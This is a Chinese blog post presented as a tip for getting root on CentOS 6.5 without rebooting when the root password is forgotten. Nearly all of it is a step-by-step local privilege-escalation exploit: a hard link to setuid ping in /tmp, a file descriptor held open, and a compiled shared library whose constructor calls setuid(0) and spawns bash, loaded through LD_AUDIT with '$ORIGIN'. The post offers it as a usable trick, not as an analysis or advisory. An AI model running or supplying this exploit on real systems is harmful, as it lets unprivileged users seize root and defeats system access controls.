Linux普通用户提权为root

  • A+
所属分类:命令脚本

Linux新手在学习阶段初期时,忘记root密码是常有的事情,很多时候大家都会选择重启系统,进入单用户模式重置root密码,但在实际运维工作中,就未必能任性重启了。分享一个不必重启也能切换至root用户的方法给大家,亲测在CentOS 6.5下可以正常使用。

第一步 创建目录

登陆一个普通用户,在/tmp目录下,创建一个文件夹。

  1. [hwoarang@wanghualang ~]$ mkdir -p /tmp/wanghualang  

第二步 创建链接

利用ping命令的suid特性,创建一个链接。

  1. [hwoarang@wanghualang ~]$ ln /bin/ping /tmp/wanghualang/hwoarang  

第三步 调用命令

  1. [hwoarang@wanghualang ~] $ exec 3< /tmp/wanghualang/hwoarang  
  2. [hwoarang@wanghualang ~] $ rm -rf /tmp/wanghualang/  

第四步 编译程序

编辑一个简单的C语言程序。

  1. [hwoarang@wanghualang tmp]$ vim root.c  

  1. void __attribute__((constructor)) init()  
  2. {  
  3. setuid(0);  
  4. system("/bin/bash");  
  5. }  

编译后运行程序。

  1. [hwoarang@wanghualang ~]$ gcc -w -fPIC -shared -o /tmp/root root.c  
  2. [hwoarang@wanghualang ~]$ LD_AUDIT="\$ORIGIN" exec /proc/self/fd/3  

执行程序后,会出现一个报错,但不用管,此时应该顺利切换至root用户了。

  • 微信赞助网站
  • weinxin
  • 支付宝赞助网站
  • weinxin

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: